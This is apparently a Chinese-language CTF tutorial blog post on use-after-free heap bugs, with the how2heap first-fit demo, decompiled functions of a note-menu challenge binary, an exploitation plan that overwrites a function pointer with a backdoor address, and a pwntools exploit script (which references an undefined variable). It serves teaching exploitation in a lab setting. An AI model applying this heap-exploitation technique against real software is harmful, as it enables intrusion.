UAF漏洞

什么是UAF

UAF就是Use After Free,简单来说就是释放后再次被使用,分为一下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

目前我刚入门只碰见第一种,看别人的博客说后两种比较常见。**我们一般称释放后没有被设置为NULL的内存指针为dangling pointer(悬垂指针)**。

这里在how2heap上有个实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

可以编译一下做一下这个实验

例题

做一个最简单的UAF漏洞的题,初学堆做出来再简单的题都会很有成就感😃。

下载地址:例题

一个经典菜单,打开各个功能看一下

Add note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*((_DWORD *)&notelist + i) )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full!");
}
return __readgsdword(0x14u) ^ v5;
}

申请堆块的时候先申请一个0x8大小的堆块管理,第一个字储存了print函数的地址,第二个字储存堆的内容地址,这个堆块的地址存在notelist中。下面就申请了储存内容的堆。

申请堆结构

Delete note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + v1) )
{
free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
free(*((void **)&notelist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

这里存在UAF漏洞free掉堆块,但是没有把指针赋值为NULL

Print note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + v1) )
(**((void (__cdecl ***)(_DWORD))&notelist + v1))(*((_DWORD *)&notelist + v1));
return __readgsdword(0x14u) ^ v3;
}

调用控制堆块的打印函数,传入参数为内容堆块的地址

存在后门函数

后门函数

我们十分想调用这个诱人且友好的后门函数,但是怎么调用呢,这是个问题,我们知道使用打印内容功能的时候,会调用打印函数,如果调用打印函数的地址改为后门函数的地址那就好了,我们尝试一下

如果想改变控制堆块的print地址,我们就想办法,把控制堆块变成内容堆块,然后输入后门函数地址覆盖掉print的地址。

利用思路如下:

  • 申请note0 大小为0x10(只要大小和控制堆块大小不一样就行)
  • 申请note1 大小为0x10(同上)
  • 释放note0
  • 释放note1
  • 此时大小为0x10的fast bin中链表为note1 -> note0
  • 申请note2 大小为0x8,那么根据堆的分配规则
  • note2的控制堆块分配note1的控制堆块,内容堆块分配note0的控制堆块
  • 这时候我们向note2输入信息,就会储存再note0的控制堆块
  • 由于我们的note0没有被赋值为NULL,存在UAF漏洞,所以我们还可以使用note0
  • 当再次掉用note0的打印功能的时候,此时已经被我们覆盖为后门函数,那么就可以直接调用后门函数

OK了兄弟们,是不是非常神奇,一个简单的题,都要很巧妙的利用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './pwn141_1804'
url = ''

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdb.attach(p, gdbscript="b * main")
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()
def add(size, content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)

def delete(idx):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))

def show(idx):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))

add(32, "aaaa")
add(32, "bbbb")
delete(0)
delete(1)
add(8, p32(use))
show(0)

p.interactive()